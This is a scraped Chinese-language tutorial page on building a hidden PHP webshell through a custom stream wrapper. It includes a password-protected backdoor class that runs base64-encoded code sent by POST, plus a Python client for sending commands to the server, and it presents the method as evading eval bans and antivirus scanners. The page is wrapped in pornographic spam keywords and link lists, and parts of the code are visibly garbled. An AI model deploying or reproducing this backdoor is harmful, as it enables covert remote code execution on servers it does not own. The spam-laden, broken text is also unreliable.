婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PHP使用流包裝器實現WebShell的方法

PHP使用流包裝器實現WebShell的方法

熱門標簽:電信外呼系統多少錢一個月 桂陽公司如何做地圖標注 合肥企業外呼系統線路 代理打電話機器人 太原400電話申請流程 萍鄉商鋪地圖標注 企業400電話辦理多少費用 神龍斗士電話機器人 宿州正規外呼系統軟件

0×00 前言

在Web安全領域WebShell的構造與查殺是永不停息的話題,這幾天發現了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒法檢測到相關的后門漏洞,不同于 eval 或則 asset 等方式運行后門,對于這兩個函數禁用的情況下一樣適用,目前除了禁用相關函數還暫時沒有相關方式來避免漏洞。

0×01 后門原理

在PHP開發中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來看看一串代碼:

include 'http://www.test.com/code.php'

我們通過這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執行,先看看我的配置項

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

從配置文件可以看到,allow_url_include 被我關閉了,也就是包含遠程代碼是不可能執行的,但是我們這里利用了一個東西。http:// 流,我們知道,在PHP中很多東西都是可以通過流包裝器來使用的,比如常見的 php:// 流,我們可以通過 php://input 來獲取輸入流來讀取請求體的內容,那么根據這個思路,我們能不能通過流包裝器來實現代碼執行?答案是可行的 通過PHP函數 stream_wrapper_register 注冊包裝器,檢測特定的URL包裝功能,監控 include 流,在 include 流中動態生成PHP代碼,我將通過如下代碼執行一個 hello world 程序來證明這個過程

include 'hello://dxkite';

Hello Stream Wrapper 的實現

code = "position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 public function stream_stat()
 {
  return stat(FILE);
 }
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';

通過如上的代碼,經過執行后,可以輸出一個 hello worldHelloWorld

 

0×02 后門示例

通過上述程序,我們實現了通過 include 指令直接執行 php ,并插入我們想要的效果,我們現在根據這個原理寫一個Shell:

后門程序

@link //dxkite.cn
 */
class ShellStream
{
 protected $position;
 protected $code;
 public function stream_open($path, $mode, $options, $opened_path)
 {
  $url = parse_url($path);
  $name = $url["host"];
  $this->code = base64_decode($name);
  $this->position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 // include
 public function stream_stat()
 {
  return stat(FILE);
 }
 // file exists
 public function url_stat(string $path,int $stat)
 {
  return stat(FILE);
 }
 public static function shell(){
  stream_wrapper_register('shell', ShellStream::class);
  if (isset($_POST['password'])  $_POST['code']) {
   if ($_POST['password']=='dxkite') {
    $code = $_POST['code'];
    include 'shell://'.$code;
   } else {
    include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
   }
  }
 }
}

ShellStream::shell();

 

上述我實現了一個使用 $_POST 作為輸入,接收密碼和php代碼的base64并執行代碼的后門利用程序

import requests 
import base64
import sys
def send_raw(url,password,cmd):
 res=requests.post(url,{
  'password':password,
  'code': base64.b64encode(cmd.encode('utf-8')) 
 })
 return res.text
def send_php_shell(url,password,cmd):
 return send_raw(url,password,'')
  if cmd == 'exit':
   break
  elif cmd.startswith('run'):
   cmd,path = cmd.split(' ',1)
   code = ''
   with open(path) as f:
    for line in f:
     code = code + line + "\r\n" 
   response = send_raw(url,password,code);
   print(response)
  else:
   response = send_php_shell(url,password,cmd);
   print(response)

我們把我們的 shell.php 部署到服務器上,執行測試 shell.py :

php-shell.png

其中,test.php 的內容為:

?php
 include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
 echo 'hello, shell world';

0×03 后門查殺

百度在線掃描

 

安全狗本地掃描

 

總結

以上所述是小編給大家介紹的PHP使用流包裝器實現WebShell的方法,希望對大家有所幫助,如果大家有任何疑問歡迎給我留言,小編會及時回復大家的!

您可能感興趣的文章:
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • PHP webshell檢查工具 python實現代碼
  • phpMyAdmin 后臺拿webshell

標簽:崇左 白銀 太原 廊坊 辛集 綏化 衡陽 鄂州

巨人網絡通訊聲明:本文標題《PHP使用流包裝器實現WebShell的方法》,本文關鍵詞  PHP,使用,流,包裝,器,實現,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP使用流包裝器實現WebShell的方法》相關的同類信息!
  • 本頁收集關于PHP使用流包裝器實現WebShell的方法的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    91精品黄色片免费大全| 黄一区二区三区| 欧美国产日本韩| 久久久久久久久99精品| xvideos.蜜桃一区二区| 久久人人爽爽爽人久久久| 久久综合色婷婷| 国产精品国产三级国产aⅴ中文 | 欧美日韩视频在线一区二区| 欧洲精品在线观看| 欧美性猛交一区二区三区精品| jlzzjlzz亚洲日本少妇| 欧美在线观看一区二区| 91精品麻豆日日躁夜夜躁| 日韩美女主播在线视频一区二区三区 | 91国内精品野花午夜精品| 欧洲日韩一区二区三区| 日韩一区二区免费电影| 国产亚洲一二三区| 亚洲码国产岛国毛片在线| 午夜一区二区三区视频| 成人免费福利片| 亚洲欧美激情在线| 亚洲综合999| 精品无人区卡一卡二卡三乱码免费卡| 国内一区二区视频| 99久久精品国产导航| 在线成人免费视频| 国产午夜亚洲精品羞羞网站| 一区二区三区不卡视频在线观看| 日韩成人午夜精品| 99久久99久久久精品齐齐 | 亚洲国产精品一区二区久久恐怖片| 亚洲成人激情综合网| 国产成人h网站| 欧美精品1区2区| 国产精品盗摄一区二区三区| 日本亚洲一区二区| 色综合久久中文字幕综合网| 欧美刺激午夜性久久久久久久| 国产精品久线观看视频| 日本少妇一区二区| 色综合 综合色| 国产午夜精品一区二区三区四区| 亚洲精品中文字幕在线观看| 国产精品一品视频| 欧美一区二区性放荡片| 国产精品免费视频观看| 久久99精品久久只有精品| 99久久99久久精品免费观看| 日韩视频免费观看高清完整版 | 久久婷婷综合激情| 午夜精品久久久久久不卡8050| eeuss鲁片一区二区三区在线观看| 日韩一二三区不卡| 日韩av高清在线观看| 欧美视频在线一区二区三区| 国产精品美女久久久久久久久久久| 美国三级日本三级久久99| 欧美在线观看一区二区| 亚洲免费观看在线视频| 不卡免费追剧大全电视剧网站| 精品国精品国产| 久久精品国产秦先生| 在线观看91av| 日日夜夜免费精品视频| 欧美日本韩国一区二区三区视频| 亚洲欧美日韩国产一区二区三区| 成人小视频免费观看| 欧美激情一区二区三区四区| 激情五月播播久久久精品| 欧美精品一区二区在线观看| 久久99日本精品| 精品国产免费久久| 久久97超碰色| 日本一区二区三区国色天香| 国产91精品在线观看| 久久女同精品一区二区| 国产一区二区不卡老阿姨| 国产欧美日韩综合| 成人av资源下载| 亚洲欧美另类小说视频| 91福利在线观看| 日韩精品一二三区| 精品乱人伦小说| 成人免费毛片片v| 亚洲综合激情另类小说区| 在线播放中文一区| 精品在线一区二区三区| 国产欧美日韩亚州综合| 99精品视频在线播放观看| 一二三区精品视频| 日韩欧美的一区二区| 成人小视频免费观看| 亚洲一二三级电影| 久久伊99综合婷婷久久伊| 成人黄动漫网站免费app| 亚洲一区在线免费观看| 日韩欧美另类在线| 成人黄色综合网站| 亚洲1区2区3区4区| 国产丝袜欧美中文另类| 色综合天天在线| 韩日精品视频一区| 亚洲少妇屁股交4| 26uuu精品一区二区三区四区在线 26uuu精品一区二区在线观看 | 日韩一区二区麻豆国产| 不卡一区中文字幕| 美女高潮久久久| 亚洲免费观看视频| 久久综合资源网| 欧美日韩国产色站一区二区三区| 韩国欧美国产一区| 亚洲一区在线观看免费观看电影高清| 欧美成人r级一区二区三区| 91看片淫黄大片一级| 狠狠色狠狠色综合系列| 一区二区三区免费观看| 国产午夜一区二区三区| 91精品国产欧美一区二区成人| av电影在线观看一区| 久久99精品久久久久久国产越南| 亚洲激情自拍偷拍| 中文在线免费一区三区高中清不卡| 欧美日韩精品二区第二页| av午夜精品一区二区三区| 韩国三级中文字幕hd久久精品| 亚洲成av人片在www色猫咪| 国产精品久久久久影院| www欧美成人18+| 日韩一区二区在线免费观看| 欧美综合一区二区| av综合在线播放| 国产精品69毛片高清亚洲| 蜜臀av一级做a爰片久久| 亚洲va欧美va天堂v国产综合| 亚洲欧洲精品天堂一级| 久久久精品国产免费观看同学| 在线91免费看| 欧美日韩国产在线播放网站| 在线免费观看视频一区| 色婷婷久久久亚洲一区二区三区 | 亚洲精品ww久久久久久p站| 国产欧美精品一区二区色综合朱莉| 91精品国产综合久久精品性色| 欧美网站大全在线观看| 色天使色偷偷av一区二区| av在线不卡电影| 色婷婷av一区二区| 欧美嫩在线观看| 在线播放国产精品二区一二区四区| 欧美日韩国产另类不卡| 欧美日韩免费不卡视频一区二区三区| 色94色欧美sute亚洲13| 在线日韩一区二区| 337p亚洲精品色噜噜狠狠| 欧美一区二区三区视频在线| 欧美一级理论片| 精品免费视频.| 中文字幕中文字幕在线一区| 亚洲视频1区2区| 天天综合日日夜夜精品| 精品一区二区三区蜜桃| 成人久久18免费网站麻豆| 91麻豆免费看| 91精品综合久久久久久| www欧美成人18+| 国产精品素人一区二区| 亚洲精品免费播放| 免费日本视频一区| 国产麻豆视频一区二区| 91性感美女视频| 欧美一级夜夜爽| 国产精品视频一区二区三区不卡| 亚洲激情男女视频| 九九九精品视频| 91啪亚洲精品| 精品国产一区二区三区久久影院| 国产精品欧美一区二区三区| 天堂va蜜桃一区二区三区| 国产精品888| 欧美久久久久久久久久| 久久久久久综合| 亚洲国产精品精华液网站| 国产在线国偷精品产拍免费yy| 91蝌蚪porny成人天涯| 久久综合中文字幕| 三级不卡在线观看| 成人av午夜影院| 日韩欧美中文字幕制服| 亚洲精品成a人| 国产91精品精华液一区二区三区| 欧美性欧美巨大黑白大战| 国产午夜精品一区二区| 亚洲成人免费电影| 91免费观看在线| 国产精品午夜春色av| 久久精品噜噜噜成人88aⅴ | 首页亚洲欧美制服丝腿| 国产91精品久久久久久久网曝门|